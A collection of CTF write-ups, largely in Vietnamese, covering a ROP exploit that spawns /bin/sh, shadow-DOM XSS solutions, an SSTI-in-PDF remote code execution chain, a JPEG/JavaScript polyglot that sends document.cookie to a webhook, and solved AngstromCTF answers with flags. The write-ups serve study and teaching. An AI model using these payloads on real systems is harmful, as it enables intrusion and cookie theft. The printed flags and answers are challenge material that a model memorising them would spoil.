107 | bin_sh_addr = util.packing.p32(stack_ret_addr + 40)
108 |
109 | print("leaked stack: " + hex(leaked_stack))
110 | print("return address: " + hex(stack_ret_addr))
111 | print("/bin/sh will be at: " + hex(stack_ret_addr + 40))
112 |
113 |
114 | rop_chain = pop_ecx
115 | rop_chain += util.packing.p32(0)
116 | rop_chain += pop_edx
117 | rop_chain += util.packing.p32(0)
118 | rop_chain += b"BBBB"
119 | rop_chain += pop_ebx
120 | rop_chain += bin_sh_addr
121 | rop_chain += pop_eax
122 | rop_chain += util.packing.p32(0xb)
123 | rop_chain += syscall
124 | rop_chain += bin_sh_string["bin"]
125 | rop_chain += bin_sh_string["sh"]
126 |
127 | proc.send_raw(write_rop(pop_3_reg, "-1073741711"))
128 | proc.send_raw(write_rop(0xffffffff, "-1073741710")) # padding
129 | proc.send_raw(write_rop(read, "-1073741707"))
130 | proc.send_raw(write_rop(0x0, "-1073741705"))
131 | proc.send_raw(write_rop(stack_ret_addr, "-1073741704"))
132 | proc.sendline(b"quit")
133 | proc.send_raw(rop_chain)
134 | proc.sendline(b"/bin/sh")
135 | proc.interactive()
136 | ```
137 | 
138 |
139 |
--------------------------------------------------------------------------------
/asis-final-2023/sayeha.md:
--------------------------------------------------------------------------------
1 | Một bài client side rất hay về shadow DOM, mục đích của đề bài đó chính là lấy được flag nằm trong một COMMENT node bên trong shadow DOM
2 | 
3 |
4 | ## Tổng quan
5 | ```html
6 |
7 |
8 | Sayeha
9 |
10 |
11 |
12 |
50 |
51 |
52 |
53 |
54 | ```
55 | Ta có 1 bug JS Injection và 1 bug HTML Injection lần lượt thông qua GET param `p` và `html`:
56 | - Ở bug HTML Injection, data mà ta nhập vào sẽ được đưa vào một **closed** shadow DOM
57 | - Ở bug JS Injection, data nhập vào sẽ được đưa vào sink `setTimeout`
58 |
59 | Trang web có triển khai CSP:
60 | 
61 |
62 | ## Shadow DOM
63 | Shadow DOM là một tính năng được sử dụng để tạo một DOM tree mới được "sandbox" với DOM tree chính
64 | 
65 |
66 | Shadow DOM sẽ được `attach` vào một host ( một node trong DOM chính ) và có thể ở một trong 2 trạng thái: `closed` và `open`. Đối với trạng thái open thì DOM tree chính có thể truy cập được vào bên trong thông qua thuộc tính `shadowRoot` của host node
67 |
68 | 
69 |
70 | Đối với `closed` thì sẽ là điều ngược lại, ta sẽ nhận về giá trị `null` nếu cố gắng truy xuất vào shadowRoot
71 | 
72 |
73 | Tới đây hẳn bạn sẽ nghĩ shadowRoot là một cơ chế bảo mật giúp sandbox một DOM tree lại, tuy nhiên shadow DOM chưa bao giờ được tạo ra nhằm mục đích bảo mật, nó được tạo ra để isolate các style giữa các DOM với nhau
74 | 
75 |
76 | Một trong những cách đã từng được sử dụng là sử dụng hàm `window.find` được đề cập trong bài `shadow` [DiceCTF 2022](https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md), bởi dù là các DOM tree khác nhau nhưng vẫn cùng chung một `window` object nên việc này là dễ hiểu. Ở bài CTF lần này, kỹ thuật đó đã không còn sử dụng được bởi `window.find` chỉ có thể tìm ra các text trong DOM và sau khi được đưa vào DOM thông qua `innerHTML` thì `div` node đã được kiểm tra để bảo đảm thằng `innerText` là rỗng
77 | 
78 |
79 | ## Solution by Ark
80 | Ở solution của Ark, tuy là một unintended solution nhưng mình thật sự thấy thích cách giải này, do writeup của Ark rất ngắn gọn, chỉ có solve script và không có giải thích gì nên mình quyết định sẽ giải thích cách làm đó tại đây:
81 | Solve script của Ark:
82 | ```html
83 |
84 |
98 |
99 | ```
100 | Ở đây anh này sẽ tạo một iframe, chĩa source của iframe đến trang challenge và sau đó tại trang challenge lại tiếp tục mở một window đến trang challenge đó, cùng đọc kỹ lại đoạn code của challenge:
101 | 
102 |
103 | Chú ý ở 3 chỗ mình bôi đen, đầu tiên `secret` sẽ được lấy ra từ Local Storage và đưa vào comment, ngay sau đó sẽ thực hiện remove nó khỏi Local Storage nhằm mục đích ngăn việc truy xuất flag trực tiếp sau khi callback của `setTimeout` (do ta kiểm soát) chạy, 500 mili second là thời gian mà tác giả cho sleep để tránh việc callback được chạy trước khi `secret` được xóa khỏi Local Storage do tính bất đồng bộ của JS. Vậy cách làm của Ark chính là dùng `window.open` để lấy `secret` trong Local Storage trước khi nó bị remove. Nhưng hẳn bạn sẽ băn khoăn rằng chẳng phải `secret` đã được xóa từ khi lần đầu truy cập vào trang challenge rồi sao? Đó là lý do mà Ark dùng đến iframe, bên trong iframe thì Local Storage sẽ là Local Storage của top-live window do cơ chế [Storage Partitioning](https://developer.mozilla.org/en-US/docs/Web/Privacy/State_Partitioning#static_partitioning) của browser, do đó tại thời điểm đó `secret` sẽ không tồn tại trong Local Storage.
104 | ## Solution by IcesFont
105 | Đây là solution được sử dụng để giải cả `sageya` và `sageya_revenge` (fix unintended) bằng cách tạo một iframe element bên trong shadow DOM và set `name` là `x`, sau đó gọi `window.open('', 'x')` để select được đến element đó, cùng vấn đề với `window.find` đó là dù DOM khác nhau thì vẫn cùng chung một `window` object.
106 | Solve: `?html=&p=location='http://webhook/?'+open('', 'x').frameElement.parentElement.firstChild.data`
107 |
108 | Khi gọi đến `window.open`, tham số thứ 2 sẽ được dùng để xác định tên của một context, nếu context đó chưa tồn tại thì sẽ thực hiện mở 1 window để mở ra context đó, vậy thì bằng cách chèn một iframe (đóng vai trò là một context) và đặt tên cho nó thì ta có thể select đến phần tử của context đó thông qua thuộc tính `frameElement` và từ đó truy xuất được đến các phần tử còn lại của DOM, cách làm rất sáng tạo.
109 | ## Solution by Ske
110 | TL;DR:
111 |
112 | 
113 |
114 | Để ý hàm `containsText`, vì cách hàm này check là dùng `window.find` để loop qua các ký tự từ 0->65536, ta biết đây là giới hạn các ký tự có thể biểu diễn được của UTF-16 và mỗi ký tự sẽ cần 2 byte để biểu diễn
115 | 
116 |
117 | Một ký tự như emoji "🫠" (`1F AE 00`) sẽ cần đến 3 byte để biểu diễn, do đó sẽ bypass qua `containsText`. Cùng với đó thì tag `details` ở trạng thái collapsed sẽ có `innerText` == `""` tuy nhiên vẫn có thể được tìm thấy bởi `window.find`. Vậy là giải quyết được rồi, sử dụng lại kỹ thuật `window.find` và `document.execCommand` là giải quyết được bài này rồi nhỉ?
118 | ```
119 | http://91.107.168.3:8000/?html=🫠&p=console.log(window.find('🫠'));document.execCommand('insertHTML',false,"")`
120 | ```
121 | Không đơn giản như thế, trong CSP không có `unsafe-inline`, ta không thể tùy ý thực thi JS được, Ske đã có một phát hiện rất hay đó là lợi dụng một callback `connectedCallback` được gọi mỗi khi một element được gắn vào cây DOM để từ đó truy xuất đến element đó
122 | Bằng cách define một element mới với method `connectedCallback` dùng để truy xuất vào `this` ta sẽ dễ dàng truy xuất được đến shadow DOM
123 | Payload của mình:
124 | ```
125 | http://91.107.168.3:8000/?html=🫠&p=class TestElement extends HTMLElement {connectedCallback() {console.log(this.parentElement.parentElement.parentElement.innerHTML);}};customElements.define('test-element', TestElement);console.log(window.find("🫠"));document.execCommand("insertHTML",false,'')
126 | ```
127 | 
128 |
129 | Giờ chỉ cần gửi về webhook nữa là được :)
130 |
--------------------------------------------------------------------------------
/HTB-apocalypse-2024/apexsurevive.md:
--------------------------------------------------------------------------------
1 | # The challenge
2 | name: apexsurvive
3 |
4 | difficulty: insane
5 | # Solution
6 | Ở bài này, mục tiêu của ta sẽ là bằng cách nào đó đọc được file `/root/flag`, đề cho binary `/readflag` và set permission file flag là `600` nên có thể mục tiêu của ta sẽ là thực hiện RCE rồi sau đó chạy `/readflag` để đọc flag, tuy nhiên uwsgi lại được chạy với user là `root` do đó ta chỉ cần đọc được file là được, hẳn đây là một lỗi configuration của author. Do bài này tác giả đã có writeup nên mình sẽ viết lại một unintend solution do mình và anh `@AP` tìm được
7 | ## RCE
8 | Ta thấy ở endpoint `/challenge/addContract` cho phép ta upload một file pdf, file pdf sẽ được check bằng thư viện `PyPDF2`, tên file được join với path upload bằng `os.path.join` dẫn đến việc ta có thể thực hiện path traversal thông qua tên file
9 |
10 | 
11 |
12 | Từ đó ta có thể ghi đè file template tại `/app/templates/info.html` để thực hiện RCE. Tuy nhiên trước đó ta sẽ cần tìm cách để reach được tính năng upload pdf vì account cần thỏa 2 điều kiện đó là `isAdmin` và `isInternal`. Về `isAdmin` thì chỉ được set duy nhất cho account `xclow3n@apexsurvive.htb` và không có logic để set cho account khác, còn đối với isInternal có thể được set khi email của account có hostname là `apexsurvive.htb`. Tuy nhiên thì để activate account ta cần có OTP và ta chỉ có thể nhận được OTP bằng mail `test@email.htb`
13 | ## Hogmail
14 | 
15 |
16 | Sau 1 ngày đau đầu anh `@AP` có để ý một chi tiết, hogmail có listen một UI trong internal network
17 |
18 | 
19 | Ở UI để ý thấy ứng dụng cập nhật email realtime, vậy nghĩa là sẽ có một websocket đang chạy, do bot chung network với hogmail nên ta chỉ cần gửi cho bot một đường link chứa đoạn script listen websocket từ hogmail, sau đó fetch nội dung mail đến webhook của mình là được. Bot khi report một product id thì id sẽ được nối với `/challenge/product/` nên ta có thể dùng `../` traverse ngược về `/external` sau đó lợi dụng open redirect tại đây để điều hướng đến web page của mình
20 | ```html
21 |
22 |
23 |
24 |
30 |
31 |
32 | ```
33 |
34 | ## PDF
35 | Sau khi tạo được product, ta thấy rằng tại trang hiển thị product có một XSS khá rõ ràng tồn, cái này cùng với Hogmail là unintended của author
36 |
37 | 
38 |
39 | Từ đó ta có thể XSS để lấy cookie của admin, dùng account admin upload lên một PDF chứa template string execute OS command để RCE, vấn đề ở đây là ta sẽ chèn payload vào phần nào trong PDF. Nếu như các bạn để ý thì các PDF được gen từ các phần mềm như PDFlatex thì phần cuối của pdf sẽ có một dòng "created by ...." và tất nhiên là nó không hiển thị trên nội dung PDF, do đó mình chọn cách chèn payload vào phần `trailer` của pdf. Ngoài ra thì file PDF cũng không được có unicode vì tí nữa vào jinja2 xử lý sẽ bị lỗi. Cách làm của mình là đầu tiên mình lên lụm một cái polyglot của portswigger research về sau đó thêm payload tại `trailer` là được
40 | https://github.com/PortSwigger/portable-data-exfiltration/blob/main/PDF-research-samples/jsPDF/chrome/pdf-ssrf/output.pdf
41 |
42 | Sau khi ghi đè file template thì do cache nên ta refresh lại vài lần thì flag sẽ hiện ra. File pdf:
43 | ```
44 | %PDF-1.3
45 | %1234
46 | 3 0 obj
47 | <>>><>/A<> >>
56 | ]
57 | /Contents 4 0 R
58 | >>
59 | endobj
60 | 4 0 obj
61 | <<
62 | /Length 126
63 | >>
64 | stream
65 | 0.5670000000000001 w
66 | 0 G
67 | BT
68 | /F1 16 Tf
69 | 18.3999999999999986 TL
70 | 0 g
71 | 56.6929133858267775 785.1970866141732586 Td
72 | (Test text) Tj
73 | ET
74 | endstream
75 | endobj
76 | 1 0 obj
77 | <>
81 | endobj
82 | 5 0 obj
83 | <<
84 | /Type /Font
85 | /BaseFont /Helvetica
86 | /Subtype /Type1
87 | /Encoding /WinAnsiEncoding
88 | /FirstChar 32
89 | /LastChar 255
90 | >>
91 | endobj
92 | 6 0 obj
93 | <<
94 | /Type /Font
95 | /BaseFont /Helvetica-Bold
96 | /Subtype /Type1
97 | /Encoding /WinAnsiEncoding
98 | /FirstChar 32
99 | /LastChar 255
100 | >>
101 | endobj
102 | 7 0 obj
103 | <<
104 | /Type /Font
105 | /BaseFont /Helvetica-Oblique
106 | /Subtype /Type1
107 | /Encoding /WinAnsiEncoding
108 | /FirstChar 32
109 | /LastChar 255
110 | >>
111 | endobj
112 | 8 0 obj
113 | <<
114 | /Type /Font
115 | /BaseFont /Helvetica-BoldOblique
116 | /Subtype /Type1
117 | /Encoding /WinAnsiEncoding
118 | /FirstChar 32
119 | /LastChar 255
120 | >>
121 | endobj
122 | 9 0 obj
123 | <<
124 | /Type /Font
125 | /BaseFont /Courier
126 | /Subtype /Type1
127 | /Encoding /WinAnsiEncoding
128 | /FirstChar 32
129 | /LastChar 255
130 | >>
131 | endobj
132 | 10 0 obj
133 | <<
134 | /Type /Font
135 | /BaseFont /Courier-Bold
136 | /Subtype /Type1
137 | /Encoding /WinAnsiEncoding
138 | /FirstChar 32
139 | /LastChar 255
140 | >>
141 | endobj
142 | 11 0 obj
143 | <<
144 | /Type /Font
145 | /BaseFont /Courier-Oblique
146 | /Subtype /Type1
147 | /Encoding /WinAnsiEncoding
148 | /FirstChar 32
149 | /LastChar 255
150 | >>
151 | endobj
152 | 12 0 obj
153 | <<
154 | /Type /Font
155 | /BaseFont /Courier-BoldOblique
156 | /Subtype /Type1
157 | /Encoding /WinAnsiEncoding
158 | /FirstChar 32
159 | /LastChar 255
160 | >>
161 | endobj
162 | 13 0 obj
163 | <<
164 | /Type /Font
165 | /BaseFont /Times-Roman
166 | /Subtype /Type1
167 | /Encoding /WinAnsiEncoding
168 | /FirstChar 32
169 | /LastChar 255
170 | >>
171 | endobj
172 | 14 0 obj
173 | <<
174 | /Type /Font
175 | /BaseFont /Times-Bold
176 | /Subtype /Type1
177 | /Encoding /WinAnsiEncoding
178 | /FirstChar 32
179 | /LastChar 255
180 | >>
181 | endobj
182 | 15 0 obj
183 | <<
184 | /Type /Font
185 | /BaseFont /Times-Italic
186 | /Subtype /Type1
187 | /Encoding /WinAnsiEncoding
188 | /FirstChar 32
189 | /LastChar 255
190 | >>
191 | endobj
192 | 16 0 obj
193 | <<
194 | /Type /Font
195 | /BaseFont /Times-BoldItalic
196 | /Subtype /Type1
197 | /Encoding /WinAnsiEncoding
198 | /FirstChar 32
199 | /LastChar 255
200 | >>
201 | endobj
202 | 17 0 obj
203 | <<
204 | /Type /Font
205 | /BaseFont /ZapfDingbats
206 | /Subtype /Type1
207 | /FirstChar 32
208 | /LastChar 255
209 | >>
210 | endobj
211 | 18 0 obj
212 | <<
213 | /Type /Font
214 | /BaseFont /Symbol
215 | /Subtype /Type1
216 | /FirstChar 32
217 | /LastChar 255
218 | >>
219 | endobj
220 | 2 0 obj
221 | <<
222 | /ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
223 | /Font <<
224 | /F1 5 0 R
225 | /F2 6 0 R
226 | /F3 7 0 R
227 | /F4 8 0 R
228 | /F5 9 0 R
229 | /F6 10 0 R
230 | /F7 11 0 R
231 | /F8 12 0 R
232 | /F9 13 0 R
233 | /F10 14 0 R
234 | /F11 15 0 R
235 | /F12 16 0 R
236 | /F13 17 0 R
237 | /F14 18 0 R
238 | >>
239 | /XObject <<
240 | >>
241 | >>
242 | endobj
243 | 19 0 obj
244 | <<
245 | /Producer (jsPDF 2.1.1)
246 | /CreationDate (D:20201020103513+01'00')
247 | >>
248 | endobj
249 | 20 0 obj
250 | <<
251 | /Type /Catalog
252 | /Pages 1 0 R
253 | /OpenAction [3 0 R /FitH null]
254 | /PageLayout /OneColumn
255 | >>
256 | endobj
257 | xref
258 | 0 21
259 | 0000000000 65535 f
260 | 0000000714 00000 n
261 | 0000002531 00000 n
262 | 0000000015 00000 n
263 | 0000000537 00000 n
264 | 0000000771 00000 n
265 | 0000000896 00000 n
266 | 0000001026 00000 n
267 | 0000001159 00000 n
268 | 0000001296 00000 n
269 | 0000001419 00000 n
270 | 0000001548 00000 n
271 | 0000001680 00000 n
272 | 0000001816 00000 n
273 | 0000001944 00000 n
274 | 0000002071 00000 n
275 | 0000002200 00000 n
276 | 0000002333 00000 n
277 | 0000002435 00000 n
278 | 0000002779 00000 n
279 | 0000002865 00000 n
280 | trailer
281 | <<
282 | /Size 21
283 | /PTEX.Fullbanner ({{self.__init__.__globals__.__builtins__.__import__('os').popen('/readflag').read()}})
284 | /Root 20 0 R
285 | /Info 19 0 R
286 | /ID [ <473612F0110D3914940DD4F61756820F> <473612F0110D3914940DD4F61756820F> ]
287 | >>
288 | startxref
289 | 2969
290 | %%EOF
291 | ```
292 |
293 | 
294 |
--------------------------------------------------------------------------------
/HTB-challenges/TwoDots Horror.md:
--------------------------------------------------------------------------------
1 | # TwoDots Horror
2 |
3 | Bài này họ cho một trang web đăng truyện ma, câu truyện sẽ dài 2 chữ, mỗi câu end bằng 1 dấu chấm. Bên dưới backend sẽ check nếu câu có đúng 2 dấu chấm thì sẽ đăng lên feed và cho admin (con bot) truy cập vào
4 |
5 | ## Challenge analyzing
6 | Thấy con bot thì ta đoán được đây là 1 challenge client side, về con bot thì nó chạy bằng puppeteer, flag sẽ được set làm cookie cho nó
7 |
8 | Vậy lỗi client side ở đây là gì? Đọc file feed.html ta sẽ thấy instruction `{{ post.content|safe }}`, về từ khoá safe thì ở bài này template engine sử dụng là nunjucks, nunjucks kế thừa nhiều cú pháp của engine jinja2 bên flask, từ khoá safe này cũng vậy, đây là từ khoá dùng để "mark" là output này safe, không cần phải escape các ký tự đặc biệt (nói nôm na là in ra literal HTML). Vậy có thể thấy đây có vẻ là lỗi XSS, tuy nhiên trang này cũng đã config CSP:
9 | ```javascript
10 | res.setHeader("Content-Security-Policy", "default-src 'self'; object-src 'none'; style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com;")
11 | ```
12 |
13 | Nhìn qua thì thấy đà này chắc là không bypass được rồi :v mình chuyển qua xem các chức năng khác. Có một chức năng thú vị đó là upload avatar tại endpoint `/api/upload`, avatar sau khi upload sẽ được check bằng middleware trong `UploadHelper.js`, trong function middleware có sử dụng 2 module bên thứ 3 là `is-jpg` và `image-size` để kiểm tra file jpg và lấy width/height của ảnh
14 |
15 | Sau khi avatar được upload, ta có thể vào endpoint `/api/avatar/:username` để xem avatar. Ok ý tưởng nãy ra, ta có thể upload một file chứa javascript và sử dụng lỗi XSS kia để chĩa src đến endpoint `/api/avatar/:username` nhằm load script trong file này và thực thi, tuy nhiên ta cần 2 điều kiện là Content-Type trả về không được là kiểu ảnh (endpoint trên trả về application/octet-stream), tại vì nếu là kiểu ảnh thì khi chỉa src tới nó sẽ không load. Điều kiện thứ 2 là ta phải làm cách nào đó khiến cho nội dung trong file trả về không bị syntax error, tại nó trải qua 2 thư viện thao tác JPG nên hẳn sẽ bị lỗi nếu ta cố gắng up một cái script hoàn chỉnh lên
16 |
17 | ## Vào việc
18 |
19 | Giờ ta sẽ thử upload lên một file js hoàn chỉnh xem sao
20 |
21 | 
22 |
23 | Bị chặn rùi, nhìn vào function middleware check upload ta sẽ thấy nó fail ở đoạn gọi đến hàm check `isJpg`
24 | ```javascript
25 | if (!isJpg(file.data)) return reject(new Error("Please upload a valid JPEG image!"));
26 | ```
27 |
28 | Lúc này ý tưởng tiếp theo, mình sẽ vào thẳng thư việc `isJpg` để xem cách nó check. Khi lên git của nó tại https://github.com/sindresorhus/is-jpg
29 |
30 | Lên git của nó đọc thì thấy nó check khá đơn giản, 3 byte đầu phải là `ÿØÿ` (signature của JPG)
31 | ```javascript
32 | export default function isJpg(buffer) {
33 | if (!buffer || buffer.length < 3) {
34 | return false;
35 | }
36 |
37 | return buffer[0] === 255
38 | && buffer[1] === 216
39 | && buffer[2] === 255;
40 | }
41 | ```
42 | Vậy thêm 3 byte đầu vào thôi, nhưng mà lại phát sinh vấn đề là 3 byte này có thể làm nội dung file js bị lỗi syntax, ta cũng không thể dùng // để comment bọn nó lại vì nó bắt buộc phải là 3 byte đầu tiên, vậy ta có thể biến nó thành một tên biến kiểu như `ÿØÿa = 'a';`, nhưng không có từ khoá let/var/const đằng trước liệu nó có lỗi không? Thật ra là không, vì ở context của browser thì nếu không có từ khoá khai báo let/var/const trước một phép gán và nếu biến đó cũng chưa tồn tại thì nó sẽ xem biến này là một property của object `window`, nói chung là không ảnh hưởng
43 |
44 | 
45 |
46 | Ok vẫn lỗi nhưng mà lỗi khác :v có vẻ ta đã pass qua vòng check đầu, giờ đến vòng check 2 là `image-size`, lại như module kia, ta lại mò đến source để xem cách nó xử lý
47 |
48 | https://github.com/image-size/image-size
49 |
50 | Code thằng này nhiều hơn thằng kia một chút, tóm lại thì logic xử lý chính nó sẽ thế này. Check type, vì đang là jpg nên nó sẽ chạy đến phần lấy size của JPG. Tại hàm `calculate` của JPG skip qua 4 signature byte đầu, read 2 byte đầu từ buffer và chứa vào biến `i`, biến i sẽ truyền vào `validateBuffer`, tại đây check nếu thấy i lớn hơn size của buffer truyền vô (cái ảnh) nó sẽ throw exception, và nếu tại index i của buffer mà character không phải 0xff (`ÿ`) thì nó chũng throw exception. Nếu pass qua vòng này ta sẽ tới phần check xem là tại vị trí i + 1 nếu là một trong các byte `0xC0 | 0xC1 | 0xC2` thì tí sẽ return về size của ảnh.
51 |
52 | Ok xong rồi, giờ ý tưởng của mình là craft một payload để khiến i nó nhỏ nhỏ xíu (vì nó đọc 2 byte, ví dụ aa là 0x61 và 0x61 nó sẽ đọc thành 0x6161), vì nó skip qua 4 byte đầu nên mình sẽ padding cái signature byte thêm 1 byte, sau đó dùng 2 ký tự xuống dòng (0x0a0a) sẽ làm cho cái i nó nhỏ nhỏ để tí không phải padding quá nhiều, và vì a [\n\n] = ... trong JS cũng hợp lệ nên không vấn đề gì
53 |
54 | Sau khi debug trên local thì mình biết giá trị của i khi pass 2 dấu xuống dòng vào là 3338, ta sẽ padding để tí nữa khi nó đọc byte tại index 3338 sẽ là ký tự 0xff, và tiếp sau đó là 0xC0 và padding thêm vài byte size nữa ( bạn xem hàm extractSize, nó sẽ extract mấy byte sau 0xC0 làm width và height cho ảnh, này mình padding mấy chữ f vô chắc là ổn rồi, tí vì chỉ cần nó đều trên 120 để pass cái check là được )
55 |
56 | Ta sẽ có payload:
57 | ```!
58 | ÿØÿa
59 |
60 | ='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';window.location.href='https://webhook.site/68a40976-d351-4dde-a022-b23547e4cc1c/?c='+document.cookie;//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'//ÿÀffffffff
61 | ```
62 |
63 | Trong phần padding mấy chữ A mình cũng chèn cả payload vào nữa, nhưng cả phần payload và padding đều phải chính xác từng byte để tí không bị lệch khi get size
64 |
65 | Giờ ta upload lên và dùng XSS chèn thẻ script chỉa đến endpoint avatar
66 |
67 | 
68 |
69 | Sau khi làm thử thì không thấy request gửi về webhook, thử trên trình duyệt thì thấy nó báo lỗi ở 3 byte đầu, shiet.
70 |
71 | Research một hồi mình tìm được bài https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs
72 |
73 | Thử thêm `charset="ISO-8859-1"` vào thẻ script và gửi lại thì request đã nằm trên webhook cùng với flag
74 |
75 | Payload:
76 | ```
77 |
a.a.
78 | ```
79 |
80 | 
81 |
--------------------------------------------------------------------------------
/Angstrong CTF 2023/web.md:
--------------------------------------------------------------------------------
1 | ## [10] catch me if you can
2 |
3 | view source code sẽ tìm ra flag
4 |
5 | ## [20] Celeste Speedrunning Association
6 | Score cao nhất là 0, thử đưa một số rất lớn vào sẽ khiến nó tràn số về số âm (có vẻ code bằng JAVA)
7 | ```
8 | start=168261534697465165489498497498
9 | ```
10 |
11 | ```
12 | you win the flag: actf{wait_until_farewell_speedrun}
13 | ```
14 |
15 | ## [40] shortcircuit
16 | Hàm chunk sẽ split flag ra thành mảng 4 phần tử, mỗi phần tử 30 character long, sau đó dùng swap hoán đổi vị trí 4 phần tử này, gọi swap 2 lần trên mảng trên thì mảng sẽ về vị trí ban đầu, join lại ta sẽ có flag
17 |
18 | ```
19 | swap(swap(chunk("7e08250c4aaa9ed206fd7c9e398e2}actf{cl1ent_s1de_sucks_544e67ef12024523398ee02fe7517fffa92516317199e454f4d2bdb04d9e419ccc7", 30))).join("")
20 | ```
21 |
22 | ```
